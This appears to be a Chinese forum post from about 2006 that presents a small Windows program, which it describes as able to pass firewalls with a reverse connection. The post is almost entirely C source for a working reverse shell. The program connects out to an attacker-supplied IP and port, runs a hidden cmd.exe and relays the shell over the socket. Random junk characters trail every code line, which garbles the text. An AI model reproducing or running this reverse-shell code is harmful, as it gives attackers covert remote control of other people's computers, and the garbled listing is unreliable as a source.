Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 gwN y
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/* ============================== (]sk3 A  
Rebound port in Windows NT R/kfbV-b  
By wind,2006/7 AJ)N?s-=  
===============================*/ Zr$D\(hX  
#include
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#include PvVn}i  
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#pragma comment(lib,"wsock32.lib") [A#>G4a<  
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void OutputShell(); t[X,m]SX  
SOCKET sClient; Sbjc8V ut  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; PAs.T4Av^  
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void main(int argc,char **argv) 2GJp`2(%dA  
{ AqjEz+TVt  
WSADATA stWsaData; s Vg89I&  
int nRet; SaiYdJ  
SOCKADDR_IN stSaiClient,stSaiServer; s^ K:cz  
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if(argc != 3) c}D>.x|]  
{ z-;yDB:~t  
printf("Useage:\n\rRebound DestIP DestPort\n"); oL*ZfF3  
return; e4Xo(EY &  
} yr34&M(a  
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WSAStartup(MAKEWORD(2,2),&stWsaData); \zV'YeG  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); + wF5(  
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stSaiClient.sin_family = AF_INET; NA9ss  
stSaiClient.sin_port = htons(0); J
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); HOlMj!.  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) zH1ChgF=}  
{ sH\h{^  
printf("Bind Socket Failed!\n"); d6{
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return; y\}
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} l#;o^H i  
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stSaiServer.sin_family = AF_INET; r9$7P?zm  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1zc-$B`t
 
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); m'5rzZP  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) lBfG#\rdW~  
{ J]qx4c  
printf("Connect Error!"); hdurT  
return; Wj\< )cH]  
} -0Q^k\X-  
OutputShell(); lZ5TDS  
} %y R~dt'  
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void OutputShell() ~:):.5o  
{ &-4SA j  
char szBuff[1024]; =\)qUs\z  
SECURITY_ATTRIBUTES stSecurityAttributes; #(d/A<  
OSVERSIONINFO stOsversionInfo; j8{,u6w)-  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; CO.e.:h  
STARTUPINFO stStartupInfo; LJmRa  
char *szShell; IC@-`S#F  
PROCESS_INFORMATION stProcessInformation; >y^zagC*  
unsigned long lBytesRead; ,v>|Ub,  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ]|)M /U *  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); VU(#5X%Pn  
stSecurityAttributes.lpSecurityDescriptor = 0; hwdZP=X  
stSecurityAttributes.bInheritHandle = TRUE; KfMaVU=4P  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (S k+nD  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _-bEnF+/0  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6'QlC+E  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j[\aGS7u  
stStartupInfo.wShowWindow = SW_HIDE; 4-{f$Z@  
stStartupInfo.hStdInput = hReadPipe; \_PD@A9  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6yPh0n  
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GetVersionEx(&stOsversionInfo); j#JE4(&  
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switch(stOsversionInfo.dwPlatformId) bAm ,gP  
{ YlEV@  
case 1: 3(R]QO`%'  
szShell = "command.com"; "xY]&  
break; Ikj_ 0/%F  
default: g'{hp:  
szShell = "cmd.exe"; Z<n%~z^  
break; p_Y U!j_VE  
} Nlfz'_0M  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (S#nA:E  
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send(sClient,szMsg,77,0); _#rE6./@q  
while(1) d@,3P)?  
{ &P3ep[]j  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _!C'oG6s?  
if(lBytesRead) Zlf) dDn  
{ R.B3  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6qp' _?  
send(sClient,szBuff,lBytesRead,0); NlV,] $L1T  
} 6o^sQ(]  
else !ie'}|c  
{ K18Sj,]B  
lBytesRead=recv(sClient,szBuff,1024,0); jbK<"T5  
if(lBytesRead<=0) break; o? {rPFR  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); pxi/ ]6pw  
} EHY}gG)  
} 5Bog\mS  
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return; b_xGCBC  
}